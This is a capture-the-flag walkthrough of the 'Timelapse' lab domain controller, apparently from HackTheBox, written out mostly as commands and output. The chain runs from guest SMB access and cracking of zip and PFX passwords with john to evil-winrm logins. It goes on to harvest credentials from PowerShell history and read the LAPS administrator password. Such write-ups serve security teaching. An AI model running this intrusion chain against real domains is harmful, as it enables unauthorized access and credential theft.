Timelapse (Active Directory)

Reconnaissance & Scanning

Port Scanning

```
# nmap -n -sS -Pn -p- --min-rate 5000 -oN ports 10.129.227.105
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-18 08:01 EDT
Nmap scan report for 10.129.227.105
Host is up (0.081s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49696/tcp open  unknown
```

Version and Default scripts scan

```
# nmap -sCV -T4 -oN version -p
53,88,135,139,389,445,464,593,636,3268,3269,5986,9389 10.129.227.105
```

```
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-18 08:03 EDT
Nmap scan report for 10.129.227.105
Host is up (0.064s latency).

PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-08-18 20:03:22Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
5986/tcp open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2023-08-18T20:04:45+00:00; +7h59m59s from scanner time.
9389/tcp open  mc-nmf            .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-08-18T20:04:07
|_  start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
```

Vulnerability assessment & Exploitation

Run smbmap to check if we have guest access to any share.

```
# smbmap -H 10.129.227.105 -u test -p ''
[+] Guest session       IP: 10.129.227.105:445  Name: dc01.timelapse.htb
        Disk                                                    Permissions
Comment
        ----                                                    -----------     -
------
        ADMIN$                                                  NO ACCESS
Remote
        C$                                                      NO ACCESS
Default
        IPC$                                                    READ ONLY
Remote
        NETLOGON                                                NO ACCESS
Logon
        Shares                                                  READ ONLY
        SYSVOL                                                  NO ACCESS
Logon
```

We can use the `-r` flag to list all the shares with read access.

```
# smbmap -H 10.129.227.105 -u test -p '' -r
[+] Guest session       IP: 10.129.227.105:445  Name: dc01.timelapse.htb
        Disk                                                    Permissions
Comment
        ----                                                    -----------     -
------
        ADMIN$                                                  NO ACCESS
Remote
        C$                                                      NO ACCESS
Default
        IPC$                                                    READ ONLY
Remote
        .\IPC$\*
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    InitShutdown
        fr--r--r--                5 Sun Dec 31 19:03:58 1600    lsass
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    ntsvcs
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    scerpc
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    epmapper
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    LSM_API_service
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    eventlog
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    atsvc
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        fr--r--r--                4 Sun Dec 31 19:03:58 1600    wkssvc
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    RpcProxy\49673
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    14ce2ab352242f7e
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    RpcProxy\593
        fr--r--r--                5 Sun Dec 31 19:03:58 1600    srvsvc
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    netdfs
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    vgauth-service
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    tapsrv
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    ROUTER
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    W32TIME_ALT
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        fr--r--r--                1 Sun Dec 31 19:03:58 1600
        NETLOGON                                                NO ACCESS
Logon
        Shares                                                  READ ONLY
        .\Shares\*
        dr--r--r--                0 Mon Oct 25 11:55:14 2021    .
        dr--r--r--                0 Mon Oct 25 11:55:14 2021    ..
        dr--r--r--                0 Mon Oct 25 15:40:06 2021    Dev
        dr--r--r--                0 Mon Oct 25 11:55:14 2021    HelpDesk
        SYSVOL                                                  NO ACCESS
Logon
```

Open the Dev folder from `Shares` and download the .zip file located there.

```
# smbclient //dc01.timelapse.htb/Shares -N

....

smb: \dev\> ls
  .                                   D        0  Mon Oct 25 15:40:06 2021
  ..                                  D        0  Mon Oct 25 15:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021

....

smb: \dev\> get winrm_backup.zip getting file \dev\winrm_backup.zip of size 2611
as winrm_backup.zip (6.3 KiloBytes/sec) (average 6.3 KiloBytes/sec)
```

If we try to unzip it, it will ask for a password. Use `zip2john` to crack the password

```
# zip2john winrm_backup.zip > winrm_backup.zip.hash
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr:
TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
```

```
# john winrm_backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2023-08-18 10:04) 2.439g/s 8481Kp/s 8481Kc/s 8481KC/s
surkerior..supalove
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Use the password `supremelegacy` to unzip the file.

```
# unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
  inflating: legacyy_dev_auth.pfx

# ls
legacyy_dev_auth.pfx  winrm_backup.zip  winrm_backup.zip.hash
```

If we try to create a private key with the .pfx file it will ask for a password, so we can use `pfx2john` to crack the password.

```
# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacy.pem
Enter Import Password:
Mac verify error: invalid password?
```

```
# john legacy.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 SSE2
4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for
all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
```

```
thuglegacy       (legacyy_dev_auth.pfx)
1g 0:00:01:41 DONE (2023-08-18 10:13) 0.009820g/s 31729p/s 31729c/s 31729C/s
thugways..thugers1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

We can now create the .pem file with the password `thuglegacy`

```
# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacy.pem
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
```

We can now extract the key and the cert with the .pem file.

```
# openssl rsa -in legacy.pem -out legacy.key
Enter pass phrase for legacy.pem:
writing RSA key
```

```
# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacy.crt
```

If we list the working directory we should have the following files:

```
# ls
legacy.crt   legacy.key  legacyy_dev_auth.pfx  winrm_backup.zip.hash
legacy.hash  legacy.pem  winrm_backup.zip
```

With the cert and the key we can connect as user legacyy. I used evil-winrm to connect to the target. (We need to use -S because the port 5986 use SSL)

```
# evil-winrm -i timelapse.htb -S -c legacy.crt -k legacy.key

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled
```

```
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents>
```

We got the foothold and in the desktop directory we can find the flag

```
*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir


    Directory: C:\Users\legacyy\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        8/18/2023  12:57 PM             34 user.txt
```

Privilege Escalation

The first I always do is check my groups, privileges and users in the system.

```
*Evil-WinRM* PS C:\Users\legacyy\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

*Evil-WinRM* PS C:\Users\legacyy\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID
Attributes
=========================================== ================
============================================
==================================================
Everyone                                    Well-known group S-1-1-0
Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580
```

```
Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545
Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15
Mandatory group, Enabled by default, Enabled group
TIMELAPSE\Development                       Group            S-1-5-21-671920749-
559770252-3318990721-3101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1
Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

*Evil-WinRM* PS C:\Users\legacyy\Desktop> net users

User accounts for \\

-------------------------------------------------------------------------------
Administrator            babywyrm                 Guest
krbtgt                   legacyy                  payl0ad
sinfulz                  svc_deploy               thecybergeek
TRX
```

If we check the powershell history we will find the following:

```
*Evil-WinRM* PS
C:\Users\legacyy\Appdata\roaming\microsoft\windows\powershell\PSReadline> cat
ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
```

We got the credentials for `svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV`. We will login as this user.

```
# evil-winrm -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
```

This user is member of `LAPS_Readers` group.

```
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All
```

```
Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
```

With LAPS, the DC manages the local administrator passwords for computers on the domain. It is common to create a group of users and give them permissions to read these passwords, allowing the trusted administrators access to all the local admin passwords.

To read the password we just need to use `get-adcomputer` and read the `ms-mcs-admpwd` property.

```
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> get-adcomputer DC01 -property 'ms-
mcs-admpwd'



DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
ms-mcs-admpwd     : L3729@77#(2s&lPY98L.1q$S
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
```

The password for the user administrator is `L3729@77#(2s&lPY98L.1q$S`. We just need to login as administrator with `evil-winrm`.

```
# evil-winrm -i timelapse.htb -u administrator -p 'L3729@77#(2s&lPY98L.1q$S' -S

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We can find the flag in the TRX's desktop.

```
*Evil-WinRM* PS C:\Users\TRX\desktop> dir


    Directory: C:\Users\TRX\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        8/18/2023  12:57 PM             34 root.tx
```